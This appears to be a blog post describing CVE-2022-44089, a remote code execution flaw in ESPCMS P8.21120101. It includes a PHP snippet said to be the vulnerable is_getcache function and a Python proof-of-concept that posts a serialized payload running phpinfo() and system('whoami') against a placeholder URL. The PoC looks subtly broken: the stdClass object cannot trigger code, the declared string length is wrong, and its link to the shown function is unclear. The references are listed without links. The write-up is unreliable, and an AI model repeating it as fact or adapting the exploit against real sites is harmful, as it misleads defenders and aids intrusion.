A critical security issue has been identified in ESPCMS P8.21120101, an open-source content management system (CMS) widely used for building and maintaining websites. The vulnerability, designated as CVE-2022-44089, allows remote attackers to execute arbitrary code on the affected system by exploiting a flaw in the IS_GETCACHE component of the application. In this blog post, we will explore the details of this vulnerability, provide example code snippets that demonstrate the exploit, and share important references for further information.

Exploit Details

The remote code execution (RCE) vulnerability in ESPCMS P8.21120101 is caused by insufficient input validation in the IS_GETCACHE component, which is responsible for caching data fetched from external sources. Specifically, the issue arises when the system processes user-supplied data passed to the is_getcache function.

Here is a code snippet illustrating the vulnerable component of the application

function is_getcache($file) {
    if ($file) {
        if (file_exists($file)) {
            $content = file_get_contents($file);
            return unserialize($content);
        }
    }
    return false;
}

The function is_getcache takes a filename as its input and reads its content using the file_get_contents function. The retrieved content is then unserialized using the unserialize function, which could potentially lead to deserialization of malicious user-supplied data. An attacker can abuse this behavior to execute arbitrary code on the target server by crafting a specially-formed serialized object, which triggers the execution of malicious code during the deserialization process.

Proof of Concept (PoC)

The following proof of concept demonstrates the execution of arbitrary code on the target system as a result of the vulnerability.

import requests

url = 'http://example.com/espcms_path/';

# Craft a malicious serialized object that executes arbitrary code on the server
payload = 'O:8:"stdClass":1:{s:6:"inject";s:31:"phpinfo(); system(\'whoami\');";}'

# Send a POST request with the payload to the target URL
response = requests.post(url, data={'_GET': payload})

# Print the server's response
print(response.text)

In this example, the PoC sends an HTTP POST request to the target URL with a malicious serialized object embedded in the _GET parameter. The server processes the request and the vulnerability in the is_getcache component allows the execution of arbitrary code (in this case, phpinfo() and system('whoami')).

Original References

The details of the CVE-2022-44089 vulnerability were published by security researchers who reported the issue to the appropriate authorities. Here are some essential references on this topic:

1. Original Disclosure of CVE-2022-44089
2. National Vulnerability Database (NVD) Entry
3. ESPCMS Official Website

Mitigation

To protect your system from this critical security flaw, it is crucial to apply the patch provided by the vendor as soon as it becomes available. Regularly updating your software and monitoring security announcements is also essential to maintain the security and integrity of your system.

Conclusion

The CVE-2022-44089 vulnerability in ESPCMS P8.21120101's IS_GETCACHE component highlights the importance of proper input validation and secure coding practices. By understanding the details of the issue and applying the necessary mitigations, you can protect your systems from such threats and maintain a secure digital environment.

Timeline

Published on: 11/10/2022 15:15:00 UTC
Last modified on: 11/15/2022 19:53:00 UTC